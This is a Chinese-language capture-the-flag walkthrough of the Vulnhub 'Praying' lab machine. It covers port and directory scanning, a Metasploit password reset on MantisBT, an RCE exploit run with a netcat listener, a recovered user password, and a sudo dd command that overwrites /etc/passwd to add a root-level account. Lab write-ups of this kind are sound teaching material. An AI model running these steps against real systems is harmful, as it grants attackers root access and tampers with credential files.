Vulnhub:Praying靶机

kali：192.168.111.111

靶机：192.168.111.221

信息收集

端口扫描

nmap -A -v -sV -T5 -p- --script=http-enum 192.168.111.221

目录爆破

feroxbuster -k -d 1 --url http://192.168.111.221 -w /opt/zidian/SecLists-2022.2/Discovery/Web-Content/raft-medium-directories-lowercase.txt -x php,bak,txt,html,sql,zip,phtml,sh -t 1 -e

查看admin目录，发现是MantisBT

漏洞利用

使用msf辅助模块auxiliary/admin/http/mantisbt_password_reset修改MantisBT的密码

use auxiliary/admin/http/mantisbt_password_reset
set rhosts 192.168.111.221
run

修改密码后登录发现MantisBT版本为2.3.0

搜索发现该版本存在远程代码执行

searchsploit mantis

修改exp

执行exp前需要用nc监听本地端口

python2 48818.py

提权

在/var/www/redmine/redmine-4.1.1/config/database.yml文件中发现projman用户的密码

在projman用户家目录下的.part1文件中发现elevate用户密码的md5密文

解密之后切换到elevate用户，密码：tequieromucho

elevate用户sudo权限

提权方法：https://gtfobins.github.io/gtfobins/dd/#sudo

可以使用该dd命令写入内容到任意文件中，写入一个新用户到/etc/passwd

生成密文

保存目标/etc/passwd到本地修改内容

a:$1$a$44cUw6Nm5bX0muHWNIwub0:0:0::/root:/bin/bash

在目标上执行

LFILE=file_to_write
echo "修改好的passwd内容" | sudo -u root dd of=$LFILE

elevate@praying:/home$ echo 'root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
mantis:x:1000:1000:praying:/home/mantis:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:112:118:MySQL Server,,,:/nonexistent:/bin/false
tinyproxy:x:113:119:Tinyproxy daemon:/run/tinyproxy:/bin/false
developer:x:1001:1001:,,,:/home/developer:/bin/bash
projman:x:1002:1002:,,,:/home/projman:/bin/bash
elevate:x:1003:1003:,,,:/home/elevate:/bin/bash
a:$1$a$44cUw6Nm5bX0muHWNIwub0:0:0::/root:/bin/bashecho 'root:x:0:0:root:/root:/bin/bash
> daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
> bin:x:2:2:bin:/bin:/usr/sbin/nologin
> sys:x:3:3:sys:/dev:/usr/sbin/nologin
> sync:x:4:65534:sync:/bin:/bin/sync
> games:x:5:60:games:/usr/games:/usr/sbin/nologin
> man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
> lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
> mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
> news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
> uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
> proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
> www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
> backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
> list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
> irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
<ing System (admin):/var/lib/gnats:/usr/sbin/nologin
> nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
<etwork Management,,,:/run/systemd:/usr/sbin/nologin
<:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
<e Synchronization,,,:/run/systemd:/usr/sbin/nologin
> messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
> syslog:x:104:110::/home/syslog:/usr/sbin/nologin
> _apt:x:105:65534::/nonexistent:/usr/sbin/nologin
> tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
> uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
> tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
> landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
> pollinate:x:110:1::/var/cache/pollinate:/bin/false
> sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
> systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
> mantis:x:1000:1000:praying:/home/mantis:/bin/bash
> lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
> mysql:x:112:118:MySQL Server,,,:/nonexistent:/bin/false
> tinyproxy:x:113:119:Tinyproxy daemon:/run/tinyproxy:/bin/false
> developer:x:1001:1001:,,,:/home/developer:/bin/bash
> projman:x:1002:1002:,,,:/home/projman:/bin/bash
> elevate:x:1003:1003:,,,:/home/elevate:/bin/bash
> ' | sudo -u root dd of=$LFILE

提升为root

flag